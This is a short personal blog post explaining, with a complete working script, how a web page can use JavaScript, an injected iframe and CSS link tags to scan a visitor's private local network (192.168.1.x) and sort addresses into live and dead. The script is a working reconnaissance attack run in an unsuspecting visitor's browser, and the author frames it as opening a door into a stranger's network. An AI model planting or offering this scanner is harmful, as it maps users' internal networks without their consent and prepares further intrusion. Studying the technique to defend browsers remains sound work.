Weird Thoughts From Eric's Head

Tags - Categories : All | AJAX | BUSINESS | PERSONAL | PROGRAMMING | BOOK REVIEW
Permalink
[AJAX] [PROGRAMMING]
Scanning the Local Network with Style
The CSS saleman pinging for ips

Scanning the Local Network with Style

External CSS polling

The wonderful link tag that we use is like a door-to-door salesman that knocks on the door and keeps on knocking thinking that someone is home. The persistent waiting of the salesman [link tag] can be used to our advantage by opening up another door to a stranger's local network.

The script works by injecting a simple dynamically created HTML document into an iframe. Inside of our new HTML document, we insert a link tag with the source set to the IP address we want to ping. We than set up our notification system which is very similar to the script and XMLHttpRequest pings.

The notification system uses two methods to track the good and the bad. An onload handler on the body tag calls back to the parent frame to say the page has loaded and it is good. A timeout is also created that says if the request takes longer than a second than abort! If the timeout is not used, the bad IPs would eventually say they are good because the link's HTTP request will timeout.

The good and bad IPs will eventually call a function in the parent frame. The good IP address just does it a lot faster than a bad one. The reason for the difference in speed is because the bad salesman hopes you are just sitting on the toilet and are slow to respond to his multiple knocks.

<iframe id="tester" src="blank.aspx" style="width:200px;height:200px"></iframe>
<script type="text/javascript">
var myHTML = "<html>\
                <head>\
                  <LINK id=\"test2\" href=\"http://{IP}\" \
                  rel=\"stylesheet\" type=\"text/css\" />\
                </head>\
                <body onload=\"window.parent.loadedRequest();\">\
                </body>\
              </html>";

window.onload = nextIP;

var timer = null;
var timeoutLength = 1;
var good = [];
var bad = [];

var activeIP = null;

function scanIP(ip) {

  activeIP = ip;
  console.log(ip);
  var ifr = document.getElementById("tester");
  ifr.src = "javascript:(function(){var html = '" + myHTML.replace("{IP}", ip) + "';document.open();document.write(html);document.close();})();";
  timer = window.setTimeout(timedOut, 1000 * timeoutLength);

}

function loadedRequest() {
  console.log("good");
  if (timer) window.clearTimeout(timer);
  good.push(activeIP);
  nextIP();
}

function timedOut() {
  console.log("bad");
  bad.push(activeIP);
  var ifr = document.getElementById("tester");
  ifr.src = "javascript:void(0);";
  nextIP();
}

var startIPRange = [192, 168, 1, 0];
var endIPRange = [192, 168, 1, 10];
var currentIP = [startIPRange[0], startIPRange[1], startIPRange[2], startIPRange[3]];

function nextIP() {

  if (currentIP[0] <= endIPRange[0] && currentIP[1] <= endIPRange[1] && currentIP[2] <= endIPRange[2] && currentIP[3] <= endIPRange[3]) {
    scanIP(currentIP.join("."));
    currentIP = stepIP(currentIP);
  }
  else {
    console.log("Good:");
    console.log(good);
    console.log("Bad:");
    console.log(bad);
  }
}

function stepIP(ip) {
  for (var i = 3; i >= 0; i--) {
    ip[i] = ip[i] + 1;
    if (ip[i] > 255) ip[i] = 0;
    else break;
  }
  return ip;
}
</script>

This pinging technique is fast and is rather reliable compared to other techniques. The downside to this method is the browser's loading icon spins and spins. It sort gives the user the hint that something is happening just like the salesman that rings the doorbell since he sees a TV on through the window.

Note: Code tested in Firefox 3.5

Eric Pascarello


Albeit interesting, it is crazy to use Javascript to do such a thing.


Add a comment

Title
Body
HTML : b, i, blockquote, br, p, pre, a href="", ul, ol, li
Math Quiz 9 + 9 = (Helps stop blog spam)
Name
E-mail address
Website
Remember me Yes  No 

E-mail addresses are not publicly displayed, so please only leave your e-mail address if you would like to be notified when new comments are added to this blog entry (you can opt-out later).

TrackBack to http://radio.javaranch.com/pascarello/addTrackBack.action?entry=1254196860490